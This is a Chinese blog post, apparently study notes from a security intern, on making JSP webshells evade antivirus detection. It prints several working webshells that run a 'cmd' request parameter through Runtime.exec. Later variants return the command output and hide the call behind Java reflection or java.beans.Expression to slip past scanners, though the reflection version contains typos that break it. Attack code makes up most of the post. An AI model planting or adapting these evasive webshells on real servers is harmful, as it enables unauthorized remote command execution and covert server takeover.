当前位置:网站首页>JSP webshell免杀——webshell免杀
JSP webshell免杀——webshell免杀
2022-07-02 07:02:00 【正在过坎】
好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬。
结果我免杀跟着学的视频就是这位大佬的。
更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在。
果然,实习就是好,传说中的大佬们就在身边——虽然我都不认识,但是还是感觉好厉害。
来吧,开始学习免杀
首先,什么是webshell?
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。
什么是RCE?
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
先做到基本的反射
首先就是最简单的一句话木马:
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

太容易被发现了

而且在我写代码的时候电脑的病毒和威胁防护就已经开始反应了

现在将这一句话木马,分开来写
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>

沙箱是通过了

但是cmd=ipconfig是什么都不出的,netstat -ano也是。

再次修改代码
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>
中间出了个小插曲,

我一直看不出来代码为什么报错,结果找了半天竟然是因为getWrite少了个r。


但是这只完成了可回显,还没有反射的功能
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Class<?> rt = Class.forName("java.lang.getRuntime");
Methond grMethod = rt.getMethod("getRuntime");
Methond method = rt.getMethod("exec",String.class);
Object object = method.invoke(grMethod.invoke(null),cmd);
Process process = (Process)object;
InputStream in = process.getInputStream();
InputStreamReader reader = new InputStreamReader(in);
BufferedReader input = new BufferedReader(reader);
String s = null;
response.getWriter().print("<pre>");
while ((s = input.readLine())!=null){
response.getWriter().println(s);
}
response.getWriter().print("</pre>");
%>

BeansExpression的免杀
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.beans.Expression" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd =request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
StringBuilder sb = new StringBuilder();
response.getWriter().print("<pre>");
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine())!=null){
sb.append(s).append("\n");
}
response.getWriter().print(sb.toString());
response.getWriter().print("</pre>");
%>



边栏推荐
- UVM learning - object attribute of UVM phase
- Database dictionary Navicat automatic generation version
- Thanos Receiver
- axis设备的rtsp setup头中的url不能带参
- [SUCTF2018]followme
- 【JetBrain Rider】构建项目出现异常:未找到导入的项目“D:\VisualStudio2017\IDE\MSBuild\15.0\Bin\Roslyn\Microsoft.CSh
- PCL 点云转深度图像
- Session cookies and tokens
- shell编程01_Shell基础
- [tutorial] how to make the Helpviewer help document of VisualStudio run independently
猜你喜欢

Internet News: Tencent conference application market was officially launched; Soul went to Hong Kong to submit the listing application

Use WinDbg to statically analyze dump files (summary of practical experience)

Flutter——Canvas自定义曲线图

Determine whether there are duplicate elements in the array

MPLS experiment

Shutter - canvas custom graph

VSCode工具使用

07数据导入Sqoop

2021-10-02

SUS系统可用性量表
随机推荐
shell编程01_Shell基础
KS009基于SSH实现宠物管理系统
Operator-1初识Operator
pytest学习--base
4. Random variables
PCL 从一个点云中提取一个子集
01-spooldir
Stm32 et développement de moteurs (système supérieur)
2021-10-04
Use WinDbg to statically analyze dump files (summary of practical experience)
PCL Eigen介绍及简单使用
大华设备播放过程中设置播放速度
Pywin32打开指定窗口
Internet News: Tencent conference application market was officially launched; Soul went to Hong Kong to submit the listing application
集成学习概览
[tutorial] how to make the Helpviewer help document of VisualStudio run independently
Postman--使用
2.hacking-lab脚本关[详细writeup]
Thanos Receiver
MYSQL关键字